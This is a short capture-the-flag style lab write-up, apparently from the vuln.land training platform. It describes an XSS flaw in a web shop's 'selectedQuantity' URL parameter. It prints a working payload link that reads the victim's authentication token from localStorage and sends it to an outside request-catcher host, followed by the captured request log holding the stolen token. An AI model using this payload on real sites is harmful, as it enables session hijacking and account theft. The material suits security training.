In this web application we've detected that the amount of the products shown in the shop is based on the URL parameter 'selectedQuantity'. After assigning some dummy values to the mentioned parameter we could see that the value was just added to the dropdown of the website without any validation. This was the hint, that we could maybe also use this to add malicious js-code. We then created the following link:

https://45328591-a6e3-45ce-95d4-f9d974704fdc.idocker.vuln.land/#!/shop?selectedQuantity=<script>XSSImage=new Image;XSSImage.src='https://ebdc5632-b58a-4b64-a198-104a05ff228b.idocker.vuln.land/abcd?token='%2BlocalStorage.getItem('token');</script>

This link accesses the localStorage and gets the authentication token from the victim and passes it via a GET-Request to our request catcher:

URL: http://ebdc5632-b58a-4b64-a198-104a05ff228b.idocker.vuln.land/abcd?token=%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc1JldGFpbGVyIjpmYWxzZSwiX2lkIjoiNWFhMDQ4MWU4NzZkOWQzOWQ0Mzk3ODVjIiwidXNlcm5hbWUiOiJjdXN0b21lcjEiLCJmaXJzdG5hbWUiOiJQZXRlciIsImxhc3RuYW1lIjoiSG9sem1hbm4iLCJlbWFpbCI6IlBldGVyLkhvbHptYW5uQGdtYWlsLmNvbSIsImlhdCI6MTY2NjAyNjQxMSwiYXVkIjoic2VsZiIsImlzcyI6IndlYnNob3AifQ.XR5Z0DCO-e3mEnJ3aiFcIvgyWZIsKnpwS8ZiDRSqjzQ%22
METHOD: GET
IP: 10.25.0.1
Time: 2022-10-17 17:08:38
Headers:
Host: ebdc5632-b58a-4b64-a198-104a05ff228b.idocker.vuln.land
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Encoding: gzip, deflate, br
Accept-Language: de,en-US;q=0.7,en;q=0.3
Dnt: 1
Referer: https://45328591-a6e3-45ce-95d4-f9d974704fdc.idocker.vuln.land/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-site
Te: trailers
X-Forwarded-For: 83.78.84.231
X-Forwarded-Host: ebdc5632-b58a-4b64-a198-104a05ff228b.idocker.vuln.land
X-Forwarded-Port: 443
X-Forwarded-Proto: https
X-Forwarded-Server: vm-docker-01.vuln.land
X-Real-Ip: 83.78.84.231

QueryString:
b'token=%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc1JldGFpbGVyIjpmYWxzZSwiX2lkIjoiNWFhMDQ4MWU4NzZkOWQzOWQ0Mzk3ODVjIiwidXNlcm5hbWUiOiJjdXN0b21lcjEiLCJmaXJzdG5hbWUiOiJQZXRlciIsImxhc3RuYW1lIjoiSG9sem1hbm4iLCJlbWFpbCI6IlBldGVyLkhvbHptYW5uQGdtYWlsLmNvbSIsImlhdCI6MTY2NjAyNjQxMSwiYXVkIjoic2VsZiIsImlzcyI6IndlYnNob3AifQ.XR5Z0DCO-e3mEnJ3aiFcIvgyWZIsKnpwS8ZiDRSqjzQ%22'
==========